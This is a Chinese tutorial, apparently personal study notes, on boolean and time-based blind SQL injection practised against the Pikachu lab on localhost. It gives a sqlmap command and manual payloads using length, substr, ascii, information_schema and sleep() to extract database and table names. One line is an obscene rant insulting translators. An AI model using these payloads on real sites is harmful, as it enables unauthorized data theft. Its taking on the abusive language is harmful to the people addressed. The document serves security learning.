布尔盲注和时间盲注
什么是盲注
在有些情况下,后台使用了错误消息屏蔽方法屏蔽了报错
此时无法在根据报错信息来进行注入的判断
根据表现形式的不同,盲注又分为
based boolean基于布尔盲注based time基于时间盲注
建议使用sqlmap来进行注入
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs
手动注入非常麻烦,后面原理不想看的可以不看
based boolean 基于布尔盲注
布尔型Boolean只有两个值,true/false
😅这布尔翻译的什么逼名称,信达雅没一个对上的,直接音译还要译者干什么,这种译者就应该把头塞进他妈逼里边用逼水洗洗脑子

特征:
- 没有报错信息
- 不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
- 在正确的输入下,输入
and 1=1/and 1=2发现可以判断 (1=1为真,1=2为假)
已知输入正确回复你答对了,输入错误回复你答错了,现在来攻破这个数据库吧!🤓
# 正确输入: # 回显:
kobe' and 1=1 # # your uid:3
# your email is: kobe@pikachu.com
# 错误输入 # 回显:
kobe' and 1=2 # # 您输入的username不存在,请重新输入!
小知识
sql: substr函数用法
substr(str,pos,len)
从pos开始的位置,截取len个字符
substr(string ,1,3)
# 结果为: str
substr(string, -1,3)
# 取string右边第1位置起,3字长的字符串。显然右边第一位置起往右不够3字长。
# 结果只能是: g
substr(string, -3,3)
# 取string右边第3位置起,3字长的字符串。
# 结果为: ing
substr(str,pos)
pos开始的位置,一直截取到最后
substr(string ,4)
# 从右第4位置截取到最后
# 结果是: ing
sql: length函数用法
length(str)
计算单位:字节 一个数字或字母一个字节
- utf8编码:一个汉字三个字节
- gbk编码:一个汉字两个字节
select length('123456百度');
# utf8:12
# gbk:10
sql: char_length函数用法
计算单位:字符 不管汉字还是数字或者是字母都算是一个字符
select char_length('123456百度');
# 返回值:8
通过length()<>char_length()可以用来检验是否含有中文字符
实操
通过不断比较判断数据库名的长度
# database名是root,长度为4
# 构造命令
select length(database())>5;
# 返回0
select length(database())<5;
# 返回1
select length(database())=5;
# 返回1
# 构造payload
kobe' and length(database())=4 # 注意比较
数据库名的长度比出来了
通过ascii码比较判断数据库名的字符
# 构造命令
select ascii(substr(database(),1,1))>113 # 注意比较
# 构造payload
kobe' and ascii(substr(database(),1,1))>113 # 注意比较
数据库名的字符的ascii码一个个比出来了
更进一步
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 返回当前数据库的第一个表名
用上面这个命令替换database()函数
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>113 # 注意比较
# >113返回0,<113返回1,慢慢比吧
based time 基于时间盲注
特征:
只有一种回显,无法判断是否正确,被数据库冷暴力了😭
实操
通过sleep()函数延时,判断是否注入成功
按下浏览器F12,查看网络模块,有一个时间列表,这个就是响应时间
# payload
kobe' and sleep(5) #
# sqli_blind_t.php?name=kobe%27+and+sleep%285%29+%23&submit=%E6%9F%A5%E8%AF%A2 200 document 其他 34.1 kB 5.02 秒
可以看到,响应时间5.02 秒,说明注入成功
# payload
kobe' and if((substr(database(),1,1))='r',sleep(5),null)#
和布尔盲注一样,替换database()函数,慢慢比吧